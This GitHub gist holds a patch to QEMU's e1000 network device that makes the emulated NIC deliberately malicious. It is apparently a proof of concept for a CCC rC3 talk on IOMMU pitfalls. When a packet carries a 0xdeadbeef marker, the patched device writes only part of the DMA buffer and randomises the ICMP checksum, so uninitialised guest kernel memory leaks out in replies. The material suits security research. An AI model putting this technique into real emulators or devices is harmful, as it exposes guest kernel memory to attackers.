Skip to content

Instantly share code, notes, and snippets.

@droogie
Created December 29, 2020 01:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save droogie/58ccd939db7d01b87e360682c2ba070c to your computer and use it in GitHub Desktop.
Save droogie/58ccd939db7d01b87e360682c2ba070c to your computer and use it in GitHub Desktop.
QEMU 5.0.0 e1000 device patch to trigger clever infoleak (CCC rC3 Presentation: Things not to when using an IOMMU)
--- e1000.c 2020-12-28 17:20:18.498942411 -0800
+++ QEMU/hw/net/e1000.c 2020-12-28 17:19:02.474796008 -0800
@@ -965,7 +965,39 @@ e1000_receive_iov(NetClientState *nc, co
}
do {
iov_copy = MIN(copy_size, iov->iov_len - iov_ofs);
- pci_dma_write(d, ba, iov->iov_base + iov_ofs, iov_copy);
+
+ // We are introducing a detection mechanism which will
+ // parse incoming network packets for a specific pattern.
+ // Once this pattern is detected (presumably an ICMP packet),
+ // we will only write over a portion of the DMA mapping, thus
+ // the received packet will introduce data leaks since the allocation
+ // was never initialized... per this vulnerability:
+ // https://github.com/torvalds/linux/blob/master/drivers/net/ethernet/intel/e1000/e1000_main.c#L4582
+
+ // pattern 0xdeadbeef
+ static const char pattern[4] = "\xde\xad\xbe\xef";
+
+ // 42 == sizeof ethernet header + ip header + icmp header
+ // thus, it's the start of icmp data section or...
+ // "Answer to the Ultimate Question of Life, the Universe, and Everything"
+ if(!memcmp(pattern, iov->iov_base + iov_ofs + 42, 4)) {
+
+ // 36 == icmp checksump offset
+ unsigned short * checksum = iov->iov_base + iov_ofs + 36;
+
+ // randomize the checksum to eventually hit a valid
+ // checksum for the leaked bytes within the packet buffer
+ *checksum = rand();
+
+ // Only write ETH + IP + ICMP + pattern of packet
+ // but linux kernel believes we wrote ~1500 into the
+ // DMA mapping
+ pci_dma_write(d, ba, iov->iov_base + iov_ofs, 46);
+ }
+ else {
+ // A packet we're not interested in, just continue
+ pci_dma_write(d, ba, iov->iov_base + iov_ofs, iov_copy);
+ }
copy_size -= iov_copy;
ba += iov_copy;
iov_ofs += iov_copy;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment